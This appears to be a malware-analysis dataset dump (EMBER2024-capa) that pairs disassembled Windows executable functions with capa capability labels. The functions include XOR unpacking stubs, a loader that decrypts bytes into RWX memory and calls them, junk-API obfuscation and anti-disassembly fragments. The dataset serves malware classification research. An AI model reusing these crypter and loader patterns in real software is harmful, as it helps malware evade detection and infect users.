joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6d186013
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4dcf141b
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
mov dword [0x403cdc], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp + 4]
mov dword [0x403b2d], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401031
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x403b2d]
mov dword [ebp - 0x48], eax
mov eax, 0x40168b
mov dword [ebp - 0x54], eax
mov ecx, str.Hello
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor ecx, ecx
push ecx
push dword [0x403b2d]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.klavesn
push eax
mov eax, str.Hello
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403d28], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403d28]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4010ce
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4010c0
mov esp, ebp
ret
Function at 0x40232f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40236e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40236e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40236e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40236e
cmp dword [ecx + 0x74], 0xe
jbe 0x40236e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4063f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x42d90b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4042f4
call fcn.004075db
push 4
mov dword [esp + 0x18], 0
call fcn.004085c8
mov edi, eax
add esp, 4
test edi, edi
je 0x406464
push ebx
call fcn.004073d6
mov dword [edi], eax
call fcn.00407195
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.0040759c
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406458
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.004075c4
pop ebx
jmp 0x406466
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x40919b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430354]
jne 0x4091a5
repz ret
jmp fcn.0040d42c
Function at 0x4285b0
Capabilities:
Accept command line arguments
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7b9804]
sub esp, 0x97c
push ebx
push ebp
push esi
shr eax, 3
xor ebx, ebx
push edi
mov edi, dword [0x7b976c]
cmp eax, ebx
jbe 0x4287ae
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
jmp 0x4285e6
mov edi, dword [esp + 0x1c]
xor ebx, ebx
cmp dword [0x7b9804], 0x1c
jne 0x4285fd
lea eax, [esp + 0x40]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov ecx, dword [edi + 4]
mov edx, dword [0x4312d0]
mov eax, dword [0x4312d4]
mov esi, dword [edi]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x4312d8]
mov dword [esp + 0x28], edx
mov edx, dword [0x4312dc]
mov edi, 0xc6ef3720
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], edx
mov ebp, 0x20
jmp 0x428642
xor ebx, ebx
mov ecx, esi
shl ecx, 4
add ecx, dword [esp + 0x30]
mov eax, esi
shr eax, 5
add eax, dword [esp + 0x2c]
lea edx, [edi + esi]
xor ecx, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], ecx
mov dword [0x7b9770], ebx
mov eax, dword [esp + 0x18]
add dword [0x7b9770], eax
mov eax, dword [0x7b9770]
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x24]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x18]
sub dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, eax
shl ecx, 4
add ecx, dword [esp + 0x28]
cmp dword [0x7b9804], 0x1be
mov dword [esp + 0x10], ecx
lea ebx, [edi + eax]
jne 0x428717
push 0
lea edx, [esp + 0x18c]
push edx
push 0
push 0x403f08
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
xor eax, eax
lea ecx, [esp + 0x38]
push ecx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
shr eax, 5
add eax, dword [esp + 0x34]
xor ecx, ebx
mov dword [0x7b9778], 0xff6b3619
mov dword [0x7b977c], 0xffffffff
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x18]
xor dword [esp + 0x10], eax
sub esi, dword [esp + 0x10]
add edi, 0x61c88647
dec ebp
jne 0x428640
cmp dword [0x7b9804], 0x8d4
jne 0x428767
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov dword [edi], esi
mov dword [edi + 4], edx
cmp dword [0x7b9804], 0x17
jne 0x42879d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea eax, [esp + 0x48]
push eax
push 0x403f68
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add edi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x1c], edi
jne 0x4285e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x97c
ret
Function at 0x40103e
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax + 4]
push esi
mov esi, dword [eax]
push edi
xor edi, edi
cmp dword [0x2b6805c], 0xee
mov dword [ebp - 0x14], esi
jne 0x401077
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov eax, dword [0x42fef8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x42fefc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
mov dword [ebp - 0x2c], 0x9e3779b9
call fcn.00401037
mov eax, dword [str.iH__]
add dword [ebp - 8], 0x21d
mov dword [ebp - 0x1c], eax
mov eax, dword [0x42ff04]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, esi
shl eax, 4
cmp dword [0x2b6805c], 0xc
mov dword [ebp - 4], eax
jne 0x4010e3
lea eax, [ebp - 0x30]
push eax
push edi
lea eax, [ebp - 0x4c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov eax, dword [0x2b6805c]
cmp eax, 0xfa9
jne 0x4010ff
mov dword [0x2b68058], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40110c
mov dword [0x437f64], edi
mov eax, dword [ebp - 8]
lea ecx, [eax + esi]
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 0xc], eax
xor dword [ebp - 4], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
add eax, ecx
xor eax, dword [ebp - 4]
cmp dword [0x2b6805c], 0x27
mov dword [0x2b68054], 0x9150ce2e
mov dword [ebp - 0xc], eax
jne 0x401163
lea eax, [ebp - 0x34]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
mov eax, dword [ebp - 0xc]
sub ebx, eax
cmp dword [0x2b6805c], 0xc
jne 0x401175
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
and eax, 0x5dc052bb
mov eax, ebx
shl eax, 4
add eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
add eax, ebx
mov dword [ebp - 0x14], eax
mov eax, ebx
shr eax, 5
add eax, dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
push dword [ebp - 4]
lea eax, [ebp - 4]
push dword [ebp - 0xc]
push eax
call fcn.00401000
sub esi, dword [ebp - 4]
mov dword [0x437f60], edi
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 8], eax
dec dword [ebp - 0x18]
jne 0x4010b7
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], esi
pop esi
mov dword [eax + 4], ebx
pop ebx
leave
ret 4
Function at 0x4011d7
Capabilities:
Copy file
Set console window title

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x142c
call fcn.00408bb0
mov eax, dword [0x2b6805c]
mov ecx, dword [0x2b67b48]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x4012a5
mov edi, ecx
mov ebx, eax
cmp dword [0x2b6805c], 0xae9
jne 0x401295
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x828]
push eax
push str.Webapaz
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push esi
lea eax, [ebp - 0x1428]
push eax
push str.cehewitakivahamobivupujezogo_jocojobojupeloxid_dutisobatibeduvodotumovigetoxasu
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentActCtx]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push str.Fedoxox_goyeramuyodi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push str.miwipufurudugiciyumenuzujifuhuvutedizocuditejeyimitip
push str.yojepajumoninoxugevotecokuyabapesuwayidamewakejivumatuturoguxowofukojurirotuyumiwim
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push edi
call fcn.0040103e
add edi, 8
dec ebx
jne 0x401203
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4012d8
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [0x2b6805c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x2b67b48], eax
ret
Function at 0x4012f3
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40a574
push eax
mov dword fs:[0], esp
sub esp, 0x944
push esi
xor esi, esi
cmp dword [0x2b6805c], 0x20a
push edi
jne 0x4013d5
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_DebugBreakProcess]
push esi
push str.lawohedulinafoc
push str.nuviwa
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push esi
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
push esi
call dword [sym.imp.USER32.dll_ClientToScreen]
xor eax, eax
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], esi
mov word [esp + 0x18], ax
push esi
push esi
mov dword [esp + 0x95c], esi
call fcn.00401644
push 0x929
push 0xea
call fcn.00401543
push esi
call fcn.0040185f
or dword [esp + 0x968], 0xffffffff
add esp, 0x14
cmp dword [esp + 0x2c], 8
jb 0x4013d5
push dword [esp + 0x18]
call fcn.004015a4
pop ecx
xor edi, edi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
cmp edi, 0x90ce655
jg 0x4013f2
inc edi
cmp edi, 0x7048dce2
jl 0x4013d7
call fcn.004012c4
push 0x437ad8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x2b6805c]
mov dword [0x2b67b4c], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2b67b48], eax
call fcn.004012d8
mov eax, dword [0x42ffd4]
xor edi, edi
mov dword [0x2b6944c], eax
cmp dword [0x2b6805c], esi
jbe 0x401468
mov eax, dword [0x2b6944c]
mov al, byte [eax + edi + 0xb2d3b]
mov ecx, dword [0x2b67b48]
mov byte [ecx + edi], al
cmp dword [0x2b6805c], 0x44
jne 0x40145f
push esi
lea eax, [esp + 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
inc edi
cmp edi, dword [0x2b6805c]
jb 0x401432
xor edi, edi
mov eax, dword [0x2b6805c]
add eax, edi
cmp eax, 0x5e
jne 0x40148c
push esi
lea eax, [esp + 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
inc edi
cmp edi, 0x40c893
jl 0x40146a
call fcn.004011d7
cmp esi, 0xc06
jne 0x4014a7
call fcn.004012aa
inc esi
cmp esi, 0x246b35
jl 0x40149a
mov eax, dword [0x2b67b48]
mov dword [0x2b68050], eax
call eax
mov ecx, dword [esp + 0x94c]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4014d0
Capabilities:
Get geographical location

Disassembly:
cmp dword [0x2b6805c], 0xc
jne 0x401503
push esi
xor esi, esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
call fcn.00401599
push esi
call fcn.00401583
pop ecx
pop ecx
call fcn.004015af
pop esi
mov eax, dword [0x436d34]
mov dword [0x2b6805c], eax
mov eax, 0xb2d3b
add dword [0x2b6805c], eax
call fcn.004012f3
xor eax, eax
ret 0x10

Function at 0x405eac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42fc70]
jne 0x405eb6
repz ret
jmp fcn.004083db

Function at 0x40762e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040275b
and dword [ebp - 4], 0
cmp dword [0x4376d8], 0
mov ebx, eax
jne 0x4076df
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407790
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407790
push eax
call fcn.004026e9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4376d8], eax
call esi
push eax
call fcn.004026e9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4376dc], eax
call esi
push eax
call fcn.004026e9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4376e0], eax
call esi
push eax
call fcn.004026e9
pop ecx
mov dword [0x4376e8], eax
test eax, eax
je 0x4076df
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004026e9
pop ecx
mov dword [0x4376e4], eax
mov eax, dword [0x4376e4]
cmp eax, ebx
je 0x407737
cmp dword [0x4376e8], ebx
je 0x407737
push eax
call fcn.00402764
push dword [0x4376e8]
mov esi, eax
call fcn.00402764
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407737
test edi, edi
je 0x407737
call esi
test eax, eax
je 0x40772e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40772e
test byte [ebp - 0xc], 1
jne 0x407737
or dword [ebp + 0x10], 0x200000
jmp 0x407770
mov eax, dword [0x4376dc]
cmp eax, ebx
je 0x407770
push eax
call fcn.00402764
pop ecx
test eax, eax
je 0x407770
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407770
mov eax, dword [0x4376e0]
cmp eax, ebx
je 0x407770
push eax
call fcn.00402764
pop ecx
test eax, eax
je 0x407770
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4376d8]
call fcn.00402764
pop ecx
test eax, eax
je 0x407790
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407792
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ebd5
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 9
push esi
mov ebx, edx
mov dword [ebp - 0xc], esi
mov edi, ecx
push ebx
push edi
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40ec06
push ebx
push edi
jmp 0x40ecb4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov edi, eax
test edi, edi
je 0x40ec48
cmp edi, 0xea
je 0x40ec48
cmp edi, 0x7a
jne 0x40ec64
mov eax, dword [ebp - 8]
lea eax, [eax*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
jne 0x40ec71
push 8
pop edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x40ecba
mov eax, dword [ebp - 8]
inc eax
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x40ec93
mov ecx, dword [ebp - 4]
mov edx, edi
call fcn.0049cf27
test eax, eax
je 0x40ec94
inc esi
cmp eax, 0x103
je 0x40eca0
cmp esi, dword [ebp - 0x10]
jb 0x40ec71
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41ce04
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x41d440
call fcn.0041d0c8
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x41ce64
cmp eax, 0xffffffff
je 0x41ce64
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x41ce5d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x41ce5d
cmp edx, 0x10000000
jae 0x41ce5d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x41ce5a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41ced0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x41cf0e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x41cf06
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x41cf10
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x41cef6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x41cfe0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x41d011
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x41d011
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x41d011
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x497461
Capabilities:
Encode data using xor

Disassembly:
call 0x4973da
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x49740a
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x497426
xor edx, 0
jmp 0x497431
xor edx, edx
jmp 0x497448
jmp 0x497454
xor eax, eax
push 0x8427d7c0
call 0x497461
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x49749d
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x497476
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x4974b4
add eax, 0
jno 0x4974b9
add esi, 0
ret 0x10
Function at 0x498222
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x498244
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x4983e6
cmp edi, dword [ebp + 0x10]
jb 0x4983e6
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.00497d0e
inc edi
jmp 0x4982cd
jmp 0x4982da
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00497d0e
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00497d0e
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x49832e
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x498312
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.0049835c
add dword [eax], 0x39
jle 0x498338
sub al, 0xf5
mov ch, al
call fcn.00498371
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x49a049
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x49a05f
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x49a070
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.0049a0b1
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx